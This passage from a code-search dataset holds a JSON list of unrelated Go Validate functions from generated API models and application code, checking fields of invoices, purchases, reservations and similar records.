= append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (m *SubscriptionImportSubscriptionRequest) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateAutoCollection(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateBillingAddressValidationStatus(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCardGateway(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCustomerAutoCollection(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCustomerEntityCode(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCustomerTaxability(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePaymentMethodGateway(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePaymentMethodType(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateShippingAddressValidationStatus(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateStatus(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (m *PublicPhaseSubDTO) Validate(formats strfmt.Registry) error {\n\treturn nil\n}","func (m *Reservation) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\t// no validation rules for UserId\n\n\tif v, ok := interface{}(m.GetTimestamp()).(interface{ Validate() error }); ok {\n\t\tif err := v.Validate(); err != nil {\n\t\t\treturn ReservationValidationError{\n\t\t\t\tfield: \"Timestamp\",\n\t\t\t\treason: \"embedded message failed validation\",\n\t\t\t\tcause: err,\n\t\t\t}\n\t\t}\n\t}\n\n\t// no validation rules for Items\n\n\t// no validation rules for Days\n\n\t// no validation rules for Amount\n\n\t// no validation rules for MerchantId\n\n\treturn nil\n}","func (d Draw) Validate() error {\n\tif d.TicketsSold < d.Participants {\n\t\treturn fmt.Errorf(\"tickets sold cannot be less then the participants\")\n\t}\n\n\terr := d.Prize.Validate()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif d.EndTime.IsZero() {\n\t\treturn fmt.Errorf(\"invalid draw end time\")\n\t}\n\n\treturn nil\n}","func (e *RetrieveBalance) Validate(\n\tr *http.Request,\n) error {\n\tctx := r.Context()\n\n\t// Validate id.\n\tid, owner, token, err := ValidateID(ctx, pat.Param(r, \"balance\"))\n\tif err != nil {\n\t\treturn errors.Trace(err)\n\t}\n\te.ID = *id\n\te.Token = *token\n\te.Owner = *owner\n\n\treturn nil\n}","func (o *PostRetentionsIDExecutionsBody) Validate(formats strfmt.Registry) error {\n\treturn nil\n}","func (m *Obligation) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateBalance(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateParticipantID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (m *CreatePurchaseRequest) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\t// no validation rules for AccessToken\n\n\t// no validation rules for Items\n\n\treturn nil\n}","func (m *InlineResponse2014) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateResourceType(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateEmbedded(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateLinks(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateConnectionURL(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCreatedAt(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCurrentKmsArn(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDockerRepo(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateHandle(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateInitialContainerSize(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateInitialDiskSize(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePassphrase(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePortMapping(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateProvisioned(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateStatus(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateType(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateUpdatedAt(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (m *CreatePurchaseResponse) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\t// no validation rules for PurchaseId\n\n\tif v, ok := interface{}(m.GetPurchase()).(interface{ Validate() error }); ok {\n\t\tif err := v.Validate(); err != nil {\n\t\t\treturn CreatePurchaseResponseValidationError{\n\t\t\t\tfield: \"Purchase\",\n\t\t\t\treason: \"embedded message failed validation\",\n\t\t\t\tcause: err,\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}","func (m *Part) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (commit ObjectCommit) Validate() error {\n\tif commit.FormID == 0 {\n\t\treturn fmt.Errorf(errFieldMustBeGreaterThanZero, \"FormID\")\n\t} else if commit.ShadowID == 0 {\n\t\treturn fmt.Errorf(errFieldMustBeGreaterThanZero, \"ShadowID\")\n\t}\n\n\treturn nil\n}","func (m *CreateReservationRequest) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\t// no validation rules for AccessToken\n\n\t// no validation rules for ProductId\n\n\t// no validation rules for Days\n\n\treturn nil\n}","func (m *RetrievePurchaseResponse) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\t// no validation rules for PurchaseId\n\n\tif v, ok := interface{}(m.GetPurchase()).(interface{ Validate() error }); ok {\n\t\tif err := v.Validate(); err != nil {\n\t\t\treturn RetrievePurchaseResponseValidationError{\n\t\t\t\tfield: \"Purchase\",\n\t\t\t\treason: \"embedded message failed validation\",\n\t\t\t\tcause: err,\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}","func (m *IndiceStatus) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateDeleting(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePending(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateReady(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateRestoring(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (m *PTXServiceDTOBusSpecificationV2N1Estimate) Validate(formats strfmt.Registry) error {\n\treturn nil\n}","func (o *OrganizerInvitation) Validate(tx *pop.Connection) (*validate.Errors, error) {\n\treturn validate.Validate(\n\t\t&validators.IntIsPresent{Field: o.ID, Name: \"ID\"},\n\t\t&validators.StringIsPresent{Field: o.Email, Name: \"Email\"},\n\t\t&validators.StringIsPresent{Field: o.Token, Name: \"Token\"},\n\t\t&validators.StringIsPresent{Field: o.State, Name: \"State\"},\n\t), nil\n}","func (o *GetOrderShipmentOKBodyItemsItems0) Validate(formats strfmt.Registry) error {\n\treturn nil\n}","func (m *ListInvoicesRequest) ContextValidate(ctx context.Context, formats strfmt.Registry) error {\n\treturn nil\n}","func (e *Exhibition) Validate() (err ValidationError) {\n\tif len(e.Id) == 0 {\n\t\terr = err.Append(\"Invalid id: \" + e.Id + \" should not empty\")\n\t}\n\tif !IsUUID(e.GalleryId) {\n\t\terr = err.Append(\"Invalid gallery_id: \" + e.GalleryId + \" should be UUID\")\n\t}\n\treturn\n}","func (m *Credit) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\t// no validation rules for Id\n\n\t// no validation rules for Credits\n\n\tif v, ok := interface{}(m.GetExpireOn()).(interface{ Validate() error }); ok {\n\t\tif err := v.Validate(); err != nil {\n\t\t\treturn CreditValidationError{\n\t\t\t\tfield: \"ExpireOn\",\n\t\t\t\treason: \"embedded message failed validation\",\n\t\t\t\tcause: err,\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}","func (l *Loan) Valid() error {\n\tif l.BookID <= 0 {\n\t\treturn errors.New(\"BookID is not valid, because it's need to be greater or equal 0\")\n\t}\n\n\tif l.From <= 0 {\n\t\treturn errors.New(\"The id is not valid, because it's need to be greater or equal 0\")\n\t}\n\n\tif l.To <= 0 {\n\t\treturn errors.New(\"The id is not valid, because it's need to be greater or equal 0\")\n\t}\n\treturn nil\n}","func (o *GetInteractionsInteractionFidOKBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\t// validation for a type composition with models.Envelope\n\tif err := o.Envelope.Validate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateData(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (p *PaymentCreditJournalBatch) validate() error {\n\tfor i, l := range p.Lines {\n\t\tif l.Chapter == 0 {\n\t\t\treturn fmt.Errorf(\"ligne %d chapter nul\", i)\n\t\t}\n\t\tif l.Function == 0 {\n\t\t\treturn fmt.Errorf(\"ligne %d function nul\", i)\n\t\t}\n\t\tif l.CreationDate == 0 {\n\t\t\treturn fmt.Errorf(\"ligne %d creation date nul\", i)\n\t\t}\n\t\tif l.ModificationDate == 0 {\n\t\t\treturn fmt.Errorf(\"ligne %d modification date nul\", i)\n\t\t}\n\t\tif l.Name == \"\" {\n\t\t\treturn fmt.Errorf(\"ligne %d name nul\", i)\n\t\t}\n\t\tif l.Value == 0 {\n\t\t\treturn fmt.Errorf(\"ligne %d value nul\", i)\n\t\t}\n\t}\n\treturn nil\n}","func Validate(a interface{}) error {\n\terr := val.Struct(a)\n\t// translate all error at once\n\tif err != nil {\n\t\terrs := err.(validator.ValidationErrors)\n\t\tvar errMsg []string\n\t\tfor _, e := range errs {\n\t\t\terrMsg = append(errMsg, getErrorMessage(e))\n\t\t}\n\t\treturn errors.NewCommonEdgeX(errors.KindContractInvalid, strings.Join(errMsg, \"; \"), nil)\n\t}\n\treturn nil\n}","func (m *SnapshotPolicyInlineCopiesInlineArrayItem) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateSchedule(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (r *Sub1098E) Validate() error {\n\treturn utils.Validate(r, config.Sub1098ELayout, config.Sub1098EType)\n}","func (m *RevenueData) Validate(formats strfmt.Registry) error {\n\treturn nil\n}","func (m *ConfirmPurchaseRequest) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\t// no validation rules for AccessToken\n\n\t// no validation rules for PurchaseId\n\n\treturn nil\n}","func (m *CartFullLineItemsItems0CustomItemsItems0) Validate(formats strfmt.Registry) error {\n\treturn nil\n}","func (m *Eutracgi) Validate() error {\n\treturn m.validate(false)\n}","func (vr *VaultRecord) Validate() error {\n\treturn vr.TotalShares.Validate()\n}","func (m *PaymentSummary) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validatePaymentMethod(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (m *Customer) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateAutoCollection(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateBalances(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateBillingAddress(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateBillingDateMode(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateBillingDayOfWeek(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateBillingDayOfWeekMode(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateContacts(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateEntityCode(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateFraudFlag(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePaymentMethod(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateReferralUrls(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateTaxability(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (c Create) Validate(_ context.Context, tx goes.Tx, agg goes.Aggregate) error {\n\t// user := *agg.(*User)\n\t// _ = user\n\treturn validateFirstName(c.FirstName)\n}","func (m *RegionDataItem) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateCurrencyCode(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCurrencyNamespace(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCurrencyType(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDiscountAmount(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDiscountExpireAt(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDiscountPercentage(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDiscountPurchaseAt(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateExpireAt(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePrice(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePurchaseAt(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (o *GetSearchbyIDOKBody) Validate(formats strfmt.Registry) error {\n\treturn nil\n}","func (o *CancelAppointmentBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := o.validateBeneficiaries(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateCenterID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateDate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateSlotID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (cva ContinuousVestingAccount) Validate() error {\n\tif cva.GetStartTime() >= cva.GetEndTime() {\n\t\treturn errors.New(\"vesting start-time cannot be before end-time\")\n\t}\n\n\treturn cva.BaseVestingAccount.Validate()\n}","func (a DebtAuction) Validate() error {\n\tif !a.CorrespondingDebt.IsValid() {\n\t\treturn fmt.Errorf(\"invalid corresponding debt: %s\", a.CorrespondingDebt)\n\t}\n\treturn ValidateAuction(&a)\n}","func (o *CustomFieldsItems0) Validate(formats strfmt.Registry) error {\n\treturn nil\n}","func (v *VendorItem) Validate(tx *pop.Connection) (*validate.Errors, error) {\n\treturn validate.Validate(\n\t\t&validators.StringIsPresent{Field: \"PurchasedUnit\", Name: \"PurchasedUnit\"},\n\t\t&validators.FuncValidator{\n\t\t\tField: \"Conversion\",\n\t\t\tName: \"Conversion\",\n\t\t\tMessage: \"Must have conversion greater than 0\",\n\t\t\tFn: func() bool {\n\t\t\t\treturn v.Conversion > 0\n\t\t\t},\n\t\t},\n\t), nil\n}","func (m *CartFullDiscountsItems0) Validate(formats strfmt.Registry) error {\n\treturn nil\n}","func (a *Doc) Validate() error {\n\treturn nil\n}","func (m *LineItemGiftCertificatesItems0Recipient) Validate(formats strfmt.Registry) error {\n\treturn nil\n}","func (m *CoseV001SchemaData) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateEnvelopeHash(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePayloadHash(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (m *InterruptionResource) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateCreated(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateForm(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateLastModifiedOn(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (m *ApplicationComponentSnapshotInlineSvm) Validate(formats strfmt.Registry) error {\n\treturn nil\n}","func (m *Order) Validate() error {\n\treturn m.validate(false)\n}","func (m *CartFullLineItemsItems0GiftCertificatesItems0Recipient) Validate(formats strfmt.Registry) error {\n\treturn nil\n}","func (o *GetCustomersCustomerFidSubscriptionsSubscriptionFidAllocationsOKBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\t// validation for a type composition with models.Envelope\n\tif err := o.Envelope.Validate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateData(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (m *LineItemDigitalItemsItems0) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateCoupons(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDiscounts(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateImageURL(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateOptions(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateProductID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateQuantity(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateURL(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateVariantID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (m *CoseV001Schema) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateData(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePublicKey(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (o *AccountingInfoOKBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := o.validateData(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (r *Reservation) Validate() bool {\n\tr.Errors = make(map[string]string)\n\n\tif r.Start >= r.End {\n\t\tr.Errors[\"End\"] = \"End Time must be greater than Start Time\"\n\t}\n\n\tsession, err := mgo.Dial(os.Getenv(\"MONGODB_URI\"))\n\tutil.Check(err)\n\tdefer session.Close()\n\tc := session.DB(os.Getenv(\"MONGODB_DB\")).C(COLLECTION)\n\tvar results []Reservation\n\terr = c.Find(bson.M{\"month\": r.Month, \"day\": r.Day, \"year\": r.Year, \"location\": r.Location}).All(&results)\n\tutil.Check(err)\n\tfor _, reservation := range results {\n\t\tif r.End <= reservation.Start {\n\t\t\tcontinue\n\t\t}\n\t\tif r.Start >= reservation.End {\n\t\t\tcontinue\n\t\t}\n\t\ts := fmt.Sprintf(\"Reservation already booked for %s on %s from %s - %s\", reservation.Location.Name, reservation.Date(), reservation.StartTime(), reservation.EndTime())\n\t\tid := fmt.Sprintf(\"%d\", reservation.Id)\n\t\tr.Errors[id] = s\n\t}\n\n\treturn len(r.Errors) == 0\n}","func (m *SimplePrice) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateCustoms(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePeriod(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePrice(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateView(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}"],"string":"[\n \"func (m *Invoice) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validateAccountID(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateAuditLogs(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateCredits(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateCurrency(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateInvoiceDate(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateInvoiceID(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateItems(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateParentAccountID(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateParentInvoiceID(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateStatus(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateTargetDate(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *CreateInvoiceRequest) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validateIdempotencyKey(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateInvoice(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *ListInvoicesRequest) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validateLocationID(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c *Create) Validate(dtInv *data.Inventory) error {\\n\\treturn dtInv.Validate()\\n}\",\n \"func (m *SalesDataInvoiceItemInterface) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validateOrderItemID(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateQty(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateSku(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *Invoice) ContextValidate(ctx context.Context, formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.contextValidateAuditLogs(ctx, formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.contextValidateCredits(ctx, formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.contextValidateItems(ctx, formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *CreateInvoiceRequest) ContextValidate(ctx context.Context, formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.contextValidateInvoice(ctx, formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func validateInvoiceDetails(stub shim.ChaincodeStubInterface, args []string) string {\\n\\tvar output string\\n\\tvar errorMessages []string\\n\\tvar invoices []map[string]interface{}\\n\\tvar ufaDetails map[string]interface{}\\n\\t//I am assuming the invoices would sent as an array and must be multiple\\n\\tpayload := args[1]\\n\\tjson.Unmarshal([]byte(payload), &invoices)\\n\\tif len(invoices) < 2 {\\n\\t\\terrorMessages = append(errorMessages, \\\"Invalid number of invoices\\\")\\n\\t} else {\\n\\t\\t//Now checking the ufa number\\n\\t\\tfirstInvoice := invoices[0]\\n\\t\\tufanumber := getSafeString(firstInvoice[\\\"ufanumber\\\"])\\n\\t\\tif ufanumber == \\\"\\\" {\\n\\t\\t\\terrorMessages = append(errorMessages, \\\"UFA number not provided\\\")\\n\\t\\t} else {\\n\\t\\t\\trecBytes, err := stub.GetState(ufanumber)\\n\\t\\t\\tif err != nil || recBytes == nil {\\n\\t\\t\\t\\terrorMessages = append(errorMessages, \\\"Invalid UFA number provided\\\")\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tjson.Unmarshal(recBytes, &ufaDetails)\\n\\t\\t\\t\\t//Rasied invoice shoul not be exhausted\\n\\t\\t\\t\\traisedTotal := getSafeNumber(ufaDetails[\\\"raisedInvTotal\\\"])\\n\\t\\t\\t\\ttotalCharge := getSafeNumber(ufaDetails[\\\"netCharge\\\"])\\n\\t\\t\\t\\ttolerance := getSafeNumber(ufaDetails[\\\"chargTolrence\\\"])\\n\\t\\t\\t\\tmaxCharge := totalCharge + (totalCharge * tolerance / 100)\\n\\t\\t\\t\\tif raisedTotal == maxCharge {\\n\\t\\t\\t\\t\\terrorMessages = append(errorMessages, \\\"All charges exhausted. Invoices can not raised\\\")\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t//Now check if invoice is already raised for the period or not\\n\\t\\t\\t\\tbillingPerid := getSafeString(firstInvoice[\\\"billingPeriod\\\"])\\n\\t\\t\\t\\tif billingPerid == \\\"\\\" {\\n\\t\\t\\t\\t\\terrorMessages = append(errorMessages, \\\"Invalid billing period\\\")\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif ufaDetails[\\\"invperiod_\\\"+billingPerid] != nil {\\n\\t\\t\\t\\t\\terrorMessages = append(errorMessages, \\\"Invoice already raised for the month\\\")\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t//Now check the sum of invoice amount\\n\\t\\t\\t\\trunningTotal := 0.0\\n\\t\\t\\t\\tvar buffer bytes.Buffer\\n\\t\\t\\t\\tfor _, invoice := range invoices {\\n\\t\\t\\t\\t\\tinvoiceNumber := getSafeString(invoice[\\\"invoiceNumber\\\"])\\n\\t\\t\\t\\t\\tamount := getSafeNumber(invoice[\\\"invoiceAmt\\\"])\\n\\t\\t\\t\\t\\tif amount < 0 {\\n\\t\\t\\t\\t\\t\\terrorMessages = append(errorMessages, \\\"Invalid invoice amount in \\\"+invoiceNumber)\\n\\t\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tbuffer.WriteString(invoiceNumber)\\n\\t\\t\\t\\t\\tbuffer.WriteString(\\\",\\\")\\n\\t\\t\\t\\t\\trunningTotal = runningTotal + amount\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif (raisedTotal + runningTotal/2) >= maxCharge {\\n\\t\\t\\t\\t\\terrorMessages = append(errorMessages, \\\"Invoice value is exceeding total allowed charge\\\")\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t}\\n\\n\\t\\t}\\n\\n\\t}\\n\\tif len(errorMessages) == 0 {\\n\\t\\toutput = \\\"\\\"\\n\\t} else {\\n\\t\\toutputBytes, _ := json.Marshal(errorMessages)\\n\\t\\toutput = string(outputBytes)\\n\\t}\\n\\treturn output\\n}\",\n \"func (mt *EasypostInsurance) Validate() (err error) {\\n\\tif mt.ID == \\\"\\\" {\\n\\t\\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \\\"id\\\"))\\n\\t}\\n\\tif mt.Object == \\\"\\\" {\\n\\t\\terr = 